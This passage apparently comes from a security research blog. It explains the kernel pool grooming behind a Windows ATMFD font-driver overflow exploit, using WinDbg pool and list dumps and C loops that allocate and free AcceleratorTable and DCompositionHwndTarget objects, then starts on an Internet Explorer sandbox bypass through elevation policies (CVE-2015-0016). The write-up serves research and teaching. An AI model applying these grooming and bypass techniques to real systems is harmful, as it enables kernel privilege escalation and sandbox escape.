*fffff901440493c0 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049400 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049440 size:   40 previous size:   40  (Allocated) Usdm
.
.
.










 

The full log here.

 

We can easily verify at this point that we have a contiguous series of DCompositionHwndTarget objects:

 

DCompositionHwndTarget already allocated DCompositionHwndTarget allocated here
*fffff90144049200 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049240 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049280 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440492c0 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049300 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049340 size:   40 previous size:   40  (Allocated) Usdm
*fffff90144049380 size:   40 previous size:   40  (Allocated) Usdm
*fffff901440493c0 size:   40 previous size:   40  (Allocated) Usdm

 

Notice that, at this moment, a contiguous series of DCompositionHwndTargets have been built in memory.

 

  • The ListHead has been "emptied" again after the allocations:

 

kd> dl ffffd001`8cf85e70 200 2
ffffd001`8cf85e70  fffff901`440728f0 fffff901`441fc0d0
fffff901`440728f0  fffff901`440968f0 ffffd001`8cf85e70
fffff901`440968f0  fffff901`440bc750 fffff901`440728f0
fffff901`440bc750  fffff901`440f30d0 fffff901`440968f0
fffff901`440f30d0  fffff901`4401a9e0 fffff901`440bc750
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440f30d0
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0
fffff901`441210d0  fffff901`44116e90 fffff901`441200d0
fffff901`44116e90  fffff901`44193fd0 fffff901`441210d0
fffff901`44193fd0  fffff901`407cf8e0 fffff901`44116e90
fffff901`407cf8e0  fffff901`407a94d0 fffff901`44193fd0
fffff901`407a94d0  fffff901`44101090 fffff901`407cf8e0
fffff901`44101090  fffff901`407fe4a0 fffff901`407a94d0
fffff901`407fe4a0  fffff901`422550b0 fffff901`44101090
fffff901`422550b0  fffff901`42255210 fffff901`407fe4a0
fffff901`42255210  fffff901`407fa2b0 fffff901`422550b0
fffff901`407fa2b0  fffff901`441ec0d0 fffff901`42255210
fffff901`441ec0d0  fffff901`441ee0d0 fffff901`407fa2b0
fffff901`441ee0d0  fffff901`441ed0d0 fffff901`441ec0d0
fffff901`441ed0d0  fffff901`441ef0d0 fffff901`441ee0d0
fffff901`441ef0d0  fffff901`441f00d0 fffff901`441ed0d0
fffff901`441f00d0  fffff901`441f10d0 fffff901`441ef0d0
fffff901`441f10d0  fffff901`441f20d0 fffff901`441f00d0
fffff901`441f20d0  fffff901`441f30d0 fffff901`441f10d0
fffff901`441f30d0  fffff901`441f40d0 fffff901`441f20d0
fffff901`441f40d0  fffff901`441f50d0 fffff901`441f30d0
fffff901`441f50d0  fffff901`441f60d0 fffff901`441f40d0
fffff901`441f60d0  fffff901`441f70d0 fffff901`441f50d0
fffff901`441f70d0  fffff901`441f80d0 fffff901`441f60d0
fffff901`441f80d0  fffff901`441f90d0 fffff901`441f70d0
fffff901`441f90d0  fffff901`441fa0d0 fffff901`441f80d0
fffff901`441fa0d0  fffff901`441fb0d0 fffff901`441f90d0
fffff901`441fb0d0  fffff901`441fc0d0 fffff901`441fa0d0
fffff901`441fc0d0  ffffd001`8cf85e70 fffff901`441fb0d0










 

(6) Create some holes in the contiguous series of DCompositionHwndTarget objects

 

  • The code:

 

for (INT i = 400; i < 405; i++) {
  MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}










 

  • The ListHead after the freeing:

 

kd> dl ffffd001`8cf85e70 200 2
ffffd001`8cf85e70  fffff901`4404dc90 fffff901`407cb0b0
fffff901`4404dc90  fffff901`4404dc10 ffffd001`8cf85e70
fffff901`4404dc10  fffff901`4404db90 fffff901`4404dc90
fffff901`4404db90  fffff901`440968f0 fffff901`4404dc10
fffff901`440968f0  fffff901`440bc750 fffff901`4404db90
fffff901`440bc750  fffff901`4401a9e0 fffff901`440968f0
fffff901`4401a9e0  fffff901`440f7b10 fffff901`440bc750
fffff901`440f7b10  fffff901`440f9570 fffff901`4401a9e0
fffff901`440f9570  fffff901`440f10b0 fffff901`440f7b10
fffff901`440f10b0  fffff901`440f7770 fffff901`440f9570
fffff901`440f7770  fffff901`441090d0 fffff901`440f10b0
fffff901`441090d0  fffff901`4410e0d0 fffff901`440f7770
fffff901`4410e0d0  fffff901`441130d0 fffff901`441090d0
fffff901`441130d0  fffff901`441150d0 fffff901`4410e0d0
fffff901`441150d0  fffff901`441170d0 fffff901`441130d0
fffff901`441170d0  fffff901`441180d0 fffff901`441150d0
fffff901`441180d0  fffff901`441190d0 fffff901`441170d0
fffff901`441190d0  fffff901`4411a0d0 fffff901`441180d0
fffff901`4411a0d0  fffff901`4411b0d0 fffff901`441190d0
fffff901`4411b0d0  fffff901`4411c0d0 fffff901`4411a0d0
fffff901`4411c0d0  fffff901`4411d0d0 fffff901`4411b0d0
fffff901`4411d0d0  fffff901`4411e0d0 fffff901`4411c0d0
fffff901`4411e0d0  fffff901`4411f0d0 fffff901`4411d0d0
fffff901`4411f0d0  fffff901`441200d0 fffff901`4411e0d0
fffff901`441200d0  fffff901`441210d0 fffff901`4411f0d0
fffff901`441210d0  fffff901`44116e90 fffff901`441200d0
fffff901`44116e90  fffff901`44193fd0 fffff901`441210d0
fffff901`44193fd0  fffff901`407cf8e0 fffff901`44116e90
fffff901`407cf8e0  fffff901`407a94d0 fffff901`44193fd0
fffff901`407a94d0  fffff901`44101090 fffff901`407cf8e0
fffff901`44101090  fffff901`407fe4a0 fffff901`407a94d0
fffff901`407fe4a0  fffff901`422550b0 fffff901`44101090
fffff901`422550b0  fffff901`42255210 fffff901`407fe4a0
fffff901`42255210  fffff901`407fa2b0 fffff901`422550b0
fffff901`407fa2b0  fffff901`441ec0d0 fffff901`42255210
fffff901`441ec0d0  fffff901`441ee0d0 fffff901`407fa2b0
fffff901`441ee0d0  fffff901`441ed0d0 fffff901`441ec0d0
fffff901`441ed0d0  fffff901`441ef0d0 fffff901`441ee0d0
fffff901`441ef0d0  fffff901`441f00d0 fffff901`441ed0d0
fffff901`441f00d0  fffff901`441f10d0 fffff901`441ef0d0
fffff901`441f10d0  fffff901`441f20d0 fffff901`441f00d0
fffff901`441f20d0  fffff901`441f30d0 fffff901`441f10d0
fffff901`441f30d0  fffff901`441f40d0 fffff901`441f20d0
fffff901`441f40d0  fffff901`441f50d0 fffff901`441f30d0
fffff901`441f50d0  fffff901`441f60d0 fffff901`441f40d0
fffff901`441f60d0  fffff901`441f70d0 fffff901`441f50d0
fffff901`441f70d0  fffff901`441f80d0 fffff901`441f60d0
fffff901`441f80d0  fffff901`441f90d0 fffff901`441f70d0
fffff901`441f90d0  fffff901`441fa0d0 fffff901`441f80d0
fffff901`441fa0d0  fffff901`441fb0d0 fffff901`441f90d0
fffff901`441fb0d0  fffff901`441fc0d0 fffff901`441fa0d0
fffff901`441fc0d0  fffff901`440610b0 fffff901`441fb0d0
fffff901`440610b0  fffff901`441dc390 fffff901`441fc0d0
fffff901`441dc390  fffff901`407cb0b0 fffff901`440610b0
fffff901`407cb0b0  ffffd001`8cf85e70 fffff901`441dc390










 

  • The new entries in the ListHead, belonging to freed DCompositionHwndTarget(s):

 

fffff901`4404dc90  fffff901`4404dc10 ffffd001`8cf85e70
fffff901`4404dc10  fffff901`4404db90 fffff901`4404dc90
fffff901`4404db90  fffff901`440968f0 fffff901`4404dc10








(7) Insert the vulnerable object into one of the holes above

 

Let's review the pool at the overflowing memcpy. In the next log, r9 points to the destination buffer. According to our analysis, is one of the chunks belonging to AcceleratorTable's freed on (4).

 

kd> g
Breakpoint 0 hit
ATMFD+0x11e58:
fffff960`00a58e58 488b4c2470      mov     rcx,qword ptr [rsp+70h]
kd> !pool r9
Pool page fffff90144049178 region is Unknown
fffff90144049000 size:   40 previous size:    0  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049040 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2
fffff90144049080 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440490c0 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2
fffff90144049100 size:   40 previous size:   40  (Allocated)  Usdm
*fffff90144049140 size:   40 previous size:   40  (Allocated) *Adbe
  Pooltag Adbe : Adobe's font driver
fffff90144049180 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440491c0 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049200 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049240 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049280 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440492c0 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049300 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049340 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049380 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440493c0 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049400 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049440 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049480 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440494c0 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2
fffff90144049500 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049540 size:   40 previous size:   40  (Allocated)  Usdm
fffff90144049580 size:   40 previous size:   40  (Allocated)  Usdm
fffff901440495c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049600 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049640 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049680 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff901440496c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049700 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049740 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049780 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff901440497c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049800 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049840 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049880 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff901440498c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049900 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049940 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049980 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff901440499c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049a00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049a40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049a80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049ac0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049b00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049b40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049b80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049bc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049c00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049c40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049c80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049cc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049d00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049d40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049d80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049dc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049e00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049e40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049e80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049ec0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049f00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049f40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049f80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2
fffff90144049fc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2










 

Until here, a debugging session of the session paged pool massage. Now time for some questions and answers!

 

Questions and Answers

 

Is step (6) necessary? In the example, the vulnerable object doesn't use one of the holes in (6), but from (4).

 

From the reviewed debugging session, it looks like (6) could be removed. Indeed without (6) the exploit will still work ... sometimes. But the following conditions apply:

 

  1. Some of the freed chunks at (4) aren't consumed by (5) or other session paged pool allocations.

  2. The adjacent chunk is reused by a DCompositionHwndTarget at (3).


Forcing some extra holes in (6) helps a lot to improve reliability of the exploit. Especially when you fire the exploit several times (according to our testings). So, yes, it is definitely a good idea to make these extra holes.

 

Why are AcceleratorTable(s) freed two times? And holes filled with DCompositionHwndTarget(s) two times?

 

When building a set of adjacent DCompositionHwndTarget(s), it seems like we could merge the following code:

 

// Create holes in the series of accelerator tables.
for (INT i = 3600; i < 4600; i += 2) {
  DestroyAcceleratorTable(pAccels[i]);
}

// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a series of alternating DCompositionHwndTarget objects)
for (INT i = 0; i < 500; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}

// Create "adjacent" holes (to the previous holes) in the series of
// accelerator tables.
for (INT i = 3601; i < 4601; i += 2) {
  DestroyAcceleratorTable(pAccels[i]);
}

// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a contiguous series of DCompositionHwndTarget objects)
for (INT i = 500; i < 1000; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}






 

into:

 

// Create holes in the series of accelerator tables.
for (INT i = 3600; i < 4600; i += 1) {
  DestroyAcceleratorTable(pAccels[i]);
}

// Fill the holes with with DCompositionHwndTarget(s).
// (at this point we have a series of alternating DCompositionHwndTarget objects)
for (INT i = 0; i < 1000; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}






 

Unfortunately, this will not work, since adjacent chunks will be merged at free time. If you proceed with the second technique, the desired ListHead will be mostly empty after the loop destroying accelerator tables:

 

kd> dl ffffd000`c6a44e70 200 2
ffffd000`c6a44e70  fffff901`425c2010 fffff901`4422a0b0
fffff901`425c2010  fffff901`425c81a0 ffffd000`c6a44e70
fffff901`425c81a0  fffff901`425c93c0 fffff901`425c2010
fffff901`425c93c0  fffff901`424e8a80 fffff901`425c81a0
fffff901`424e8a80  fffff901`422dc410 fffff901`425c93c0
fffff901`422dc410  fffff901`424140b0 fffff901`424e8a80
fffff901`424140b0  fffff901`4422a0b0 fffff901`422dc410
fffff901`4422a0b0  ffffd000`c6a44e70 fffff901`424140b0





 

If the goal is to get a set of adjacent DCompositionHwndTarget(s), making holes, are AcceleratorTable(s) really needed?


Why not just allocate a set of DCompositionHwndTarget(s) and then make holes? For example, code like this:


// Create window handles, and store them.
pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
hThisInstance = GetModuleHandleA(NULL);
for (INT i = 0; i < 1000; i++) {
  SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));
  wsprintfA(winClass, winClassFmt, i);
  wsprintfA(winTitle, winTitleFmt, i);
  int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0);
  LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2);
  memset(winTitleW, 0, winTitleWSize * 2);
  MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize);

  windowClass.cbSize = sizeof(WNDCLASSEXA);
  windowClass.style = CS_HREDRAW | CS_VREDRAW;
  windowClass.lpfnWndProc = (WNDPROC)WndProc;
  windowClass.hInstance = hThisInstance;
  windowClass.hIcon = NULL;
  windowClass.hCursor = NULL;
  windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;
  windowClass.lpszMenuName = NULL;
  windowClass.lpszClassName = winClass;
  classAtom = RegisterClassExA(&windowClass);
  hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);

  if (hWnd) {
    pHwnds[i] = hWnd;
  }
  else {
    break;
  }
}

// Create DCompositionHwndTarget(s).
for (INT i = 0; i < 1000; i++) {
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);
}

// Create some holes in the contiguous series of DCompositionHwndTarget objects,
for (INT i = 400; i < 420; i+=2) {
  MyDestroyDCompositionHwndTarget(pHwnds[i], 0);
}




If you run the above code and look at the DCompositionHwndTarget allocations, you will notice that even after defragmentation, there are not any adjacent allocations:

 

*fffff901423bd7c0 size:   40 previous size:   c0  (Allocated) Usdm
*fffff901423bd8c0 size:   40 previous size:   c0  (Allocated) Usdm
*fffff901423bd9c0 size:   40 previous size:   c0  (Allocated) Usdm
*fffff901423bdac0 size:   40 previous size:   c0  (Allocated) Usdm
*fffff901423bdbc0 size:   40 previous size:   c0  (Allocated) Usdm
*fffff901423bdcc0 size:   40 previous size:   c0  (Allocated) Usdm



 

See the full log here.

 

This is because, on newly allocated pages, every call of to "CreateDComopositionHwndTarget" will allocate a 0x40 sized chunk to store the CHwndTargetProp, but will also allocate a 0xc0 sized chunk to store a DirectComposition::CVisualMarshaler object. There will not be two adjacent CHwndTargetProp(s):

 

kd> !pool fffff901423bd8c0
Pool page fffff901423bd8c0 region is Unknown
fffff901423bd000 size:   c0 previous size:    0  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd0c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd100 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd1c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd200 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd2c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd300 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd3c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd400 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd4c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd500 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd5c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd600 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd6c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd700 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd7c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd800 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
*fffff901423bd8c0 size:   40 previous size:   c0  (Allocated) *Usdm
  Pooltag Usdm : USERTAG_DCOMPHWNDTARGETINFO, Binary : win32k!CreateDCompositionHwndTa
fffff901423bd900 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd9c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bda00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdac0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdb00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdbc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdc00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdcc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdd00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bddc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bde00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdec0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdf00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdfc0 size:   40 previous size:   c0  (Allocated)  Usdm
kd> !pool fffff901423bd800
Pool page fffff901423bd800 region is Unknown
fffff901423bd000 size:   c0 previous size:    0  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd0c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd100 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd1c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd200 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd2c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd300 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd3c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd400 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd4c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd500 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd5c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd600 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd6c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd700 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd7c0 size:   40 previous size:   c0  (Allocated)  Usdm
*fffff901423bd800 size:   c0 previous size:   40  (Allocated) *DCvi Process: ffffe000ffbf9080
  Pooltag DCvi : DCOMPOSITIONTAG_VISUALMARSHALER, Binary : win32k!DirectComposition::CVisu
fffff901423bd8c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bd900 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bd9c0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bda00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdac0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdb00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdbc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdc00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdcc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdd00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bddc0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bde00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdec0 size:   40 previous size:   c0  (Allocated)  Usdm
fffff901423bdf00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080
fffff901423bdfc0 size:   40 previous size:   c0  (Allocated)  Usdm



 

And that's all! I really hope the blog post helps you understand the pool massage technique used by this exploit a little better. Of course, if you feel there are any errors in my analysis, feel free to comment details below

As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed by Henry Li, who published a complete description in this blog entry.  This kind of vulnerability abuses the TSWbPrxy.exe component (which is already executed as a Medium Integrity process due to an Elevation Policy) in order to run arbitrary code with Medium Integrity. An exploit for this vulnerability already exists in Metasploit.

 

An interesting note about this exploit (and others abuses of IE Elevation Policies) is that the exploit is implemented as a regular DLL run by Meterpreter's old "in-memory" loader, based on the original design by skape and Jarkko Turkulainen. In case you are not familiar with how this loader works, it hooks several ntdll methods related to DLL loading. In contrast, the latest Meterpreter code accomplishes in-memory loading through Reflective DLL Injection. Indeed, many local exploits, including Meterpreter itself, are implemented as Reflective DLLs.

 

So, why aren't we implementing exploits for IE Elevation Policies as Reflective DLLs? The short answer is that their import address table (IAT) is not patched automatically with the IE shims.  As a result, any calls (like CreateProcess)  will be evaluated against the Elevation Policies  (thanks 0vercl0k for the grammar warning )  won't be evaluated against the Elevation Policies, since they won't reach the broker. It means that, while you can use kernel exploits with Reflective DLLs to bypass sandboxes, you are stuck when attempting to abuse a policy.

 

Let us examine CVE-2015-0016 as an example of policy abuse. According to the IE Elevation Policy, TSWbPrxy.exe should be executed as Medium Integrity:

 

Screen Shot 2015-08-26 at 4.45.17 PM.png

 

Indeed, if you build a plain DLL to create the new TSWbPrxy.exe process, and use the Meterpreter's old memory loader, you will notice that the new process runs as Medium Integrity.


MediumIntegrity.png

 

But, if you try to do the same with a Reflective DLL, you'll notice that the new process runs as Low Integrity:

 

LowIntegrity.png


In the last case, the IAT of the DLL has not been patched either:


0:006> !dh 02a40000 -f


File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
55DE3622 time date stamp Wed Aug 26 16:56:50 2015


       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL


OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
    A600 size of code
    8800 size of initialized data
       0 size of uninitialized data
    15F5 address of entry point
    1000 base of code
         ----- new -----
10000000 image base
    1000 section alignment
     200 file alignment
       2 subsystem (Windows GUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
   16000 size of image
     400 size of headers
       0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   10120 [      59] address [size] of Export Directory
   1017C [      28] address [size] of Import Directory
   14000 [     1E0] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   15000 [     CB8] address [size] of Base Relocation Directory
    C140 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    FD30 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    C000 [      F8] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory


0:006> dps 02a40000+C000 02a40000+C000+F8
02a4c000  76d92082 kernel32!CreateProcessA
02a4c004  76de8eaf kernel32!GetCommandLineAStub
02a4c008  76ddc410 kernel32!GetCurrentThreadIdStub
02a4c00c  76dd7e1a kernel32!IsDebuggerPresentStub
02a4c010  76de6c1e kernel32!IsProcessorFeaturePresent
02a4c014  76ddcde0 kernel32!GetLastErrorStub
02a4c018  76ddc3f0 kernel32!SetLastError
02a4c01c  771ba295 ntdll!RtlEncodePointer
02a4c020  771bcd10 ntdll!RtlDecodePointer
02a4c024  76debbe2 kernel32!DisablePredefinedHandleTableForIndex
02a4c028  76dd54ff kernel32!GetModuleHandleExWStub
02a4c02c  76ddcc94 kernel32!GetProcAddressStub
02a4c030  76ddef07 kernel32!MultiByteToWideCharStub
02a4c034  76ddeefa kernel32!WideCharToMultiByteStub
02a4c038  76ddfcdd kernel32!GetProcessHeapStub
